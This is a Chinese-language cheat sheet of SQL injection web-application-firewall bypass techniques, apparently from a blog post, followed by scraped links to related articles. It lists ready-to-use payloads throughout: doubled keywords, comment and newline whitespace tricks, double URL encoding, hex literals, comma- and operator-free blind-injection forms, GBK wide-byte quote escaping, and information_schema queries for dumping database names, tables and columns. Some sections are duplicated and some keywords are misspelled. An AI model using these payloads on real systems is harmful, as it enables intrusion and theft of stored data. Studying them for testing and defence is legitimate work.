SQL注入WAF绕过姿势
(1)大小写绕过
此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。
这里有道题
(2)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
(3)空格绕过
payload
select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回车
/*!select*//*!**//*!from*//*!yz*/;
select(a)from(yz);
select(a)from(yz)where(a=1);
(4)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
SELselectECT 1,2,3,4
(5)URL编码
有时后台界面会再次URL解码所以这时可以利用二次编码解决问题
后台语句
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
select * from yz
select * from %2579%257a
(6)十六进制绕过(引号绕过)
在SQL语句的数据区域可以采用十六进制绕过敏感词汇
select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
(7)逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
substr(),mid()
mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;
同时也可以利用替换函数
select left(database(),2)>'tf';
selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;
(8)比较符(<,>)绕过
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)
新学习了一种骚骚的注入姿势in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;
select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;
select * from yz union select 1,2,3 order by 1;
也可以用like,根据排列顺序进行真值判断
(9)注释符绕过
在注入时的注释符一般为# --当两者不能用时就不能闭合引号
这里介绍一个奇淫巧技
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1'
(1=1)中就有了判断位为下面的注入打下基础
(10)宽字节绕过
字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
注:`select`防止用户自定义的名称和mysql保留字冲突
(11)with rollup
一般结合group by使用
select 1 as test from yz group by test with rollup limit 1 offset 1;
+------+
| test |
+------+
| NULL |
+------+
(12)无列名注入
给未知列名起别名
select a from (select 1,2,3aunion select * from yz)v;
(13) 判断列数绕过
当order by 被过滤后就可以使用into 变量来绕过
select * from yz limit 1,1 into @a,@b,@c;
3.SQL注入知识
1.SQL越界 ,也就是能执行自己的sql语句
2.盲注的话找一个点可以控制两种不同的反应
3.取数据并做真值判断
4.写脚本暴库
上边是基于一般的注入题目的解题步骤,如果有特殊条件也可灵活变通
mysql数据库元信息
在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称
和访问权限。在informa_schema中常用的表有:
schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。
tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。
show tables from secuiry的结果就是来自这个表
columns:详细地描述了某张表的所有的列以及每个列的信息。
show columns from users的结果就是来自这个表
select database(); #查选数据库
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列
SQL注入WAF绕过姿势的更多相关文章
- sql注入waf绕过简单入门
0x1 白盒 0x2 黑盒 一.架构层 1.寻找源站==> 2.利用同网段==> 3.利用边界漏洞==> ssrf只是一个例子 二.资源限制 Waf为了保证业务运行,会忽略对大的数 ...
- Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...
- sql注入100种姿势过waf(二):过安全狗
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395 最新版 数据库是mysql ...
- sql注入100种姿势过waf(一):waf 了解
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包, ...
- sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL
题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后 ...
- 登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...
- SQL注入的绕过
一.常用符号的绕过 1.空格 1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1 ...
- mysql sql注入getshell新姿势
sql.php?sql=1'报错信息为:1064:You have an error in your SQL syntax; check the manual that corresponds to ...
- sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9 ...
随机推荐
- offsetWidth与offsetHeight
HTMLElement.offsetWidth 是一个只读属性,返回一个元素的布局宽度.一个典型的(译者注:各浏览器的offsetWidth可能有所不同)offsetWidth是测量包含元素的边框(b ...
- tcp输入数据 慢速路径处理 && oob数据 接收 && 数据接收 tcp_data_queue
大致的处理过程 TCP的接收流程:在tcp_v4_do_rcv中的相关处理(网卡收到报文触发)中,会首先通过tcp_check_urg设置tcp_sock的urg_data为TCP_URG_NOTYE ...
- 1. 线性DP 53. 最大子序和.
53. 最大子序和. https://leetcode-cn.com/problems/maximum-subarray/ func maxSubArray(nums []int) int { dp ...
- SQL Server数据库Union和Union All查询出数据的区别?
好久没有更新博客了,可能是最近比较忙,总是忽略了一些事情,今天查了做了一些数据分析的数据,突然感觉对Union和Union all有些不太理解了,可能是自己老了吧,就翻了一些资料,进行回忆和学习,趁着 ...
- CSS 背景常用属性
CSS 背景常用属性 background-color 这个属性过于简单, 以下写法均可 background-color:red; background-color:rgb(0,0,255); ba ...
- Hadoop框架:MapReduce基本原理和入门案例
本文源码:GitHub·点这里 || GitEE·点这里 一.MapReduce概述 1.基本概念 Hadoop核心组件之一:分布式计算的方案MapReduce,是一种编程模型,用于大规模数据集的并行 ...
- 追踪聚光特效怎么实现,有Vegas就够了
舞台聚光灯大家一定都不陌生,在电视上某些颁奖活动里,主持人的进场一定伴随着舞台灯光的聚光效果.随着主持人的移动,灯光也随之移动.这里的舞台灯光就起到了一个追踪聚光的效果. Vegas Pro 16 增 ...
- jQuery 第二章 实例方法 DOM操作选择元素相关方法
进一步选择元素相关方法: .get() .eq() .find() .filter() .not() .is() .has() .add()集中操作 .end()回退操作 .get() $(&qu ...
- SQL server分页的四种方法(算很全面了)
这篇博客讲的是SQL server的分页方法,用的SQL server 2012版本.下面都用pageIndex表示页数,pageSize表示一页包含的记录.并且下面涉及到具体例子的,设定查询第2 ...
- Linux三剑客grep、awk、sed
何为Linux三剑客? 第一个剑客是 grep,grep 会根据正则表达式查找相关内容并打印对应的数据. 第二个剑客是 awk,awk 的名字来源于三个作者的名字简称,它可以根据定位到的数据行处理其中 ...